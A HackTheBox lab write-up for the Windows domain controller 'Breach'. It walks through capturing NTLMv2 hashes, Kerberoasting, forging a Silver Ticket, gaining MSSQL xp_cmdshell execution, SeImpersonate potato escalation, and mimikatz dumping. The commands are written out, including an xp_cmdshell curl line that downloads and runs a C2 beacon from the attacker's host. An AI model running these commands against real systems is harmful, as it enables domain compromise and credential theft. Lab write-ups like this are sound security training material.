HackTheBox | Breach

Breach is a medium difficulty Windows machine, where guest access to an SMB share is available. By leveraging write permissions on that SMB share, NTLMv2 hashes of a domain user are captured to obtain valid credentials. With access as a low-privileged domain user, a kerberoastable service account (svc_mssql) is revealed. After getting access to the service account, a Silver Ticket attack is performed to impersonate the Administrator user and gain access to Microsoft SQL Server. Through the xp_cmdshell feature, remote code execution is achieved as the svc_mssql service account. Finally, privilege escalation is performed by abusing the SeImpersonatePrivilege privilege.

Machine information The User flag for this Box is located in a non-standard directory, C:\share\transfer.

nmap

Nmap scan report for 10.129.19.112  
 Host is up (0.19s latency).  
 PORT     STATE SERVICE       VERSION  
 53/tcp      open    domain        Simple DNS Plus  
 80/tcp      open    http          Microsoft IIS httpd 10.0  
 |_http-title: IIS Windows Server  
 |_http-server-header: Microsoft-IIS/10.0  
 | http-methods:  
 |_  Potentially risky methods: TRACE  
 88/tcp      open    kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-15 07:12:59Z)  
 135/tcp     open    msrpc         Microsoft Windows RPC  
 139/tcp     open    netbios-ssn   Microsoft Windows netbios-ssn  
 389/tcp     open    ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)  
 445/tcp     open    microsoft-ds?  
 464/tcp     open    kpasswd5?  
 593/tcp     open    ncacn_http    Microsoft Windows RPC over HTTP 1.0  
 636/tcp     open    tcpwrapped  
 1433/tcp    open    ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM  
 | ms-sql-info:  
 |   10.129.19.112:1433:  
 |     Version:  
 |       name: Microsoft SQL Server 2019 RTM  
 |       number: 15.00.2000.00  
 |       Product: Microsoft SQL Server 2019  
 |       Service pack level: RTM  
 |       Post-SP patches applied: false  
 |_    TCP port: 1433  
 |_ssl-date: 2026-06-15T07:13:51+00:00; +5s from scanner time.  
 | ms-sql-ntlm-info:  
 |   10.129.19.112:1433:  
 |     Target_Name: BREACH  
 |     NetBIOS_Domain_Name: BREACH  
 |     NetBIOS_Computer_Name: BREACHDC  
 |     DNS_Domain_Name: breach.vl  
 |     DNS_Computer_Name: BREACHDC.breach.vl  
 |     DNS_Tree_Name: breach.vl  
 |_    Product_Version: 10.0.20348  
 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback  
 | Not valid before: 2026-06-15T07:09:50  
 |_Not valid after:  2056-06-15T07:09:50  
 3268/tcp    open    ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)  
 3269/tcp    open    tcpwrapped  
 3389/tcp    open    ms-wbt-server Microsoft Terminal Services  
 | rdp-ntlm-info:  
 |   Target_Name: BREACH  
 |   NetBIOS_Domain_Name: BREACH  
 |   NetBIOS_Computer_Name: BREACHDC  
 |   DNS_Domain_Name: breach.vl  
 |   DNS_Computer_Name: BREACHDC.breach.vl  
 |   DNS_Tree_Name: breach.vl  
 |   Product_Version: 10.0.20348  
 |_  System_Time: 2026-06-15T07:13:12+00:00  
 | ssl-cert: Subject: commonName=BREACHDC.breach.vl  
 | Not valid before: 2026-06-14T07:07:08  
 |_Not valid after:  2026-12-14T07:07:08  
 |_ssl-date: 2026-06-15T07:13:51+00:00; +6s from scanner time.  
 5985/tcp    open    http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
 |_http-server-header: Microsoft-HTTPAPI/2.0  
 |_http-title: Not Found  
 Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows  
  
 Host script results:  
 | smb2-time:  
 |   date: 2026-06-15T07:13:15  
 |_  start_date: N/A  
 | smb2-security-mode:  
 |   3.1.1:  
 |_    Message signing enabled and required  
 |_clock-skew: mean: 5s, deviation: 0s, median: 5s  
  
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
  
 Nmap done: 1 IP address (1 host up) scanned in 69.81 seconds  
 Service scan ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% 0:00:00

From this we do get info that machine name is BREACHDC and domain is breach.vl so we can update /etc/hosts file. We can also get an overview of services.

• http
• kerberos
• ldap
• smb
• rpc
• winrm
• mssql From those its a domain controller.

smb and julia.wong

we can try accessing using null auth or guest since we dont have creds. Using null we can auth but we cant view shares. But when using guest we do get access. and get shares. We do see we have read on Users and READ,WRITE on share….so lets check those out.

impacket-smbclient breachdc.breach.vl/guest:''@breach.vl -no-pass  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies    
  
Type help for list of commands  
# shares  
ADMIN$  
C$  
IPC$  
NETLOGON  
share  
SYSVOL  
Users  
# use Users  
# ls  
drw-rw-rw-          0  Thu Feb 17 16:12:16 2022 .  
drw-rw-rw-          0  Tue Sep  9 13:35:32 2025 ..  
drw-rw-rw-          0  Thu Feb 10 12:10:33 2022 Default  
-rw-rw-rw-        174  Thu Feb 10 05:25:32 2022 desktop.ini  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Public  
# cd Default  
# ls  
drw-rw-rw-          0  Thu Feb 10 12:10:33 2022 .  
drw-rw-rw-          0  Thu Feb 17 16:12:16 2022 ..  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 AppData  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Desktop  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Documents  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Downloads  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Favorites  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Links  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Music  
-rw-rw-rw-     524288  Thu Feb 10 12:10:33 2022 NTUSER.DAT  
-rw-rw-rw-         20  Thu Feb 10 12:10:33 2022 ntuser.ini  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Pictures  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Saved Games  
drw-rw-rw-          0  Thu Feb 10 12:10:34 2022 Videos  
# cd ../  
# cd Public  
# ls  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 .  
drw-rw-rw-          0  Thu Feb 17 16:12:16 2022 ..  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 AccountPictures  
-rw-rw-rw-        174  Thu Feb 17 16:29:39 2022 desktop.ini  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Documents  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Downloads  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Libraries  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Music  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Pictures  
drw-rw-rw-          0  Thu Feb 17 16:29:39 2022 Videos  
#

from this we do know Users in actually a mount of Users on C: most likely. Lets check the other share.

impacket-smbclient breachdc.breach.vl/guest:''@breach.vl -no-pass  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies    
  
Type help for list of commands  
# use share  
# ls  
drw-rw-rw-          0  Mon Jun 15 11:26:10 2026 .  
drw-rw-rw-          0  Tue Sep  9 13:35:32 2025 ..  
drw-rw-rw-          0  Thu Feb 17 14:19:36 2022 finance  
drw-rw-rw-          0  Thu Feb 17 14:19:13 2022 software  
drw-rw-rw-          0  Mon Sep  8 13:13:44 2025 transfer  
# cd finance  
# ls  
drw-rw-rw-          0  Thu Feb 17 14:19:36 2022 .  
drw-rw-rw-          0  Mon Jun 15 11:26:10 2026 ..  
# cd ../software  
# ls  
drw-rw-rw-          0  Thu Feb 17 14:19:13 2022 .  
drw-rw-rw-          0  Mon Jun 15 11:26:10 2026 ..  
# cd ../transfer  
# ls
drw-rw-rw-          0  Mon Sep  8 13:13:44 2025 .  
drw-rw-rw-          0  Mon Jun 15 11:26:10 2026 ..  
drw-rw-rw-          0  Thu Feb 17 14:23:51 2022 claire.pope  
drw-rw-rw-          0  Thu Feb 17 14:23:22 2022 diana.pope  
drw-rw-rw-          0  Thu Apr 17 03:38:12 2025 julia.wong  
#

We get two three directories but only transfer has content in it…that is three more directories. where in all of them…we are denied access. but we can take those down as users. We dont have much we can do right now..But we did have write permissions on share. We could drop a file that could help in attempting to steal ntlmv2 hashes. During my research i came upon this very great tool ntlstealer. This generate multiple types of NTLMv2 hash theft files.
ntlm_theft is primarily aimed at Penetration Testers and Red Teamers, who will use it to perform internal phishing on target company employees, or to mass test antivirus and email gateways. It may also be used for external phishing if outbound SMB access is allowed on the perimeter firewall.
To use it,just git clone,install the dependency and run it.

python3 ntlm_theft.py -g all -s 10.10.14.30 -f important

Once generated we can now place the files of our choosing and start responder.
Once its restarted we can upload the files of our choice.
After a while…when we check responder we do get ntlmv2 hash Lets save it to a file and try cracking it. And using john to crack the pass. so now we have valid creds julia.wong:Computer1

julia.wong and user.txt

Using her creds we do see we have more read on the shares. We did not have read on any directory in share/transfers btu since we are julia we could now view our own folder. And we get our user flag.

julia.wong and Bloodhound

Checking on other services access…we do see we have access to mssql and ldap but no access for winrm. Lets get those users. Next thing we can do is get bloodhound data,I’ll be using rusthound-ce but feel free to choose any from the array of tools out there. We can now open bloodhound and start domain level enumeration.

bloodhound, kerberoasting and svc_mssql

Kerberoasting is a post-exploitation cyberattack that targets Microsoft Active Directory (AD) environments to extract, crack, and steal service account passwords. By capturing encrypted Kerberos tickets, attackers perform offline brute-force attacks to escalate privileges and move laterally within a network How the Attack Works
The Kerberoasting technique relies on the inherent mechanics of Kerberos, the default authentication protocol in Windows domains.

• The Setup: In AD, services running on servers (like SQL databases, web applications, or file shares) require a dedicated service account to operate. These services are identified by unique identifiers called Service Principal Names (SPNs).
• The Request: Kerberos inherently allows any authenticated domain user (even a low-privileged one) to request a service ticket (TGS) to connect to any service in the domain.
• The Extraction: When an attacker requests a service ticket for a targeted SPN, the Key Distribution Center (KDC) issues a ticket. A portion of this ticket is securely encrypted using a hash of the service account’s password.
• The Cracking: The attacker extracts this encrypted data blob from the ticket and takes it offline. Using offline password-cracking tools like Hashcat or [[John]] the Ripper, they perform millions of password guesses until they successfully decrypt the ticket and reveal the plaintext password of the service account.

We can head over to query section and check for all kerbroastable users. We do see svc_mssql is kerberoastable.i’ll be using netexec for the attack. the command is simple.

nxc ldap domain_controller -u $user -p $password --kerberoast Filename_to_save_the_hash
# so in our case command will be 
nxc ldap BREACHDC.breach.vl -u 'julia.wong' -p Computer1 --kerberoast KERBEROASTING

And after executing we get Now that we have the hash Lets crack it.I’ll once again be using john but you can utilise hashcat. and we have new creds svc_mssql:Trustno1

svc_mssql and silver ticket

From bloodhound we do see they are sql admin. So lets try logging in to mssql.We will need a ticket since we’ll be dealing with kerberos. and then export it.

export KRB5CCNAME=svc_mssql.ccache

Then attempt to login in.
We log in but there is something to notice,we are logged in as guest so this means we cannot execute any commands or impersonate from the current context. For verification we could try. So we need a different approach. We are mssql service so we can use silver ticket attack which grants us impersonation ability.
The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
For this we will need a couple of things.

• domain sid
• spn
• ntlm of svc_mssql

so lets start by getting those.

Domain sid

A very simple way of getting it is through bloodhound and from any user.
youll see Object ID in our case S-1-5-21-2330692793-3312915120-706255856-1115 and the way this is structured is the last digits are RID(Relative identifiers) while the rest before the RID is Domain sid. so we have our domain sid : S-1-5-21-2330692793-3312915120-706255856

spn

For spn we can use the one found from the same mssql account because its spn is set.
and that is : MSSQLSvc/breachdc.breach.vl:1433

ntlm of svc

We can use an online converter eg This_one or just do it from terminal

echo -n "Trustno1" | iconv -t utf16le | openssl dgst -md4

Now we have our ntlm - 69596c7aa1e8daee17f8e78870e25a5c

Silver-Ticket attack

what we need is now the command

impacket-ticketer -user -domain-sid -nthash -dc-ip -domain -spn TARGET
# so that now our full command is
impacket-ticketer -user svc_mssql -domain-sid S-1-5-21-2330692793-3312915120-706255856 -nthash 69596c7aa1e8daee17f8e78870e25a5c -dc-ip 10.129.19.112 -domain breach.vl -spn 'MSSQLSvc/breachdc.breach.vl:1433' Administrator

Successfully returns administrator.ccache, Now this is a service ticket and not a tgt. So now if we access mssql service we access as administrator who has admin rights(We should be able to execute commands). Export the ticket and now trying to login in and notice.
We are now not guest but rather dbo who is db_owner. we can also confirm we are db admin using SELECT IS_SRVROLEMEMBER('sysadmin'); and it should return a 1. Now lets confirm our command execution. We have successfull command execution.Lets get a shell. we can use a powershell one liner that is base64 encoded. there are multiple placed to get them i recommend revshells and start a listener on our side using netcat.

Execute our powershell from the mssql session.

and we should get a connection on our side.

svc_mssql to nt authority and root flag.

Now that we are mssql.We can impersonate any user properly. We can abuse the SeImpersonatePrivilege to reach nt authority. There are various versions of potato one can use to privesc egGodpotato(which i’ll be using and can be gotten from here) We are nt authority\system.Now to get a shell we could run the same command we used to get initial shell. With that we have gotten root.Adios👋😁. If you’d like more techniques like hashdumping to get administrator hash check out extras below.

Extras

Extra-1

We could have also gotten svc_mssql hash through another way. By loging in to the mssql service using julia.wong and then querying our reponder we get an ntlmv2 hash. We can then crack it with john the ripper or hashcat. So Lets do it:

Step-1:Getting tgt,accessing mssql service and Relaying

Then login in as julia.
On our end start up responder and then use xp_dirtree to access share on your end.

Step2 : saving the hash to a file and cracking using john

On your responder you should have the ntlmv2hash Now copy the hash to a file and crack using john.

Extra-2

This will be abit advanced if you haven’t dealt with C2’s before i recommend try learning them before attempting this. We can do all of privesc and hashdumping from a c2.(ill be using adaptix but havoc,sliver and the others support it) This will not be a tutorial on setting up adaptixc2 or using it(Maybe will make a tutorial for it).

The process

After you have it ready we can use curl to download and execute. Notice: For oppsec its best to avoid download and execute,If it was a real engagement or defender was on,we would employ loaders we can use python3 to serve the directory where our file is at and download and execute using:

EXEC xp_cmdshell 'curl {your_ip}/adaptix.exe -o C:\windows\tasks\adaptix.exe && C:\windows\tasks\adaptix.exe'

After that from adaptix you should have a beacon.
From there we can head over to the console and perform seimpersonate privesc. We can still see we have SeImpersonatePrivilege We can utilise potato-dcom
And we can run the same beacon we dropped.
This should now show up as a new beacon with sys privs.

Extra-3

For hashdumping i tried a couple but only one worked,mimikatz.

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"

And this should display hashes..the output is alot so Feel free to try it out. Again for opsec its not..Especially if its default mimikatz and defender is on it will get caught.

Tip: In this machine we did not have clock skew issues,but if you ever face one and are having a problem fixing it, Feel free to checkout Fixing_clock-skew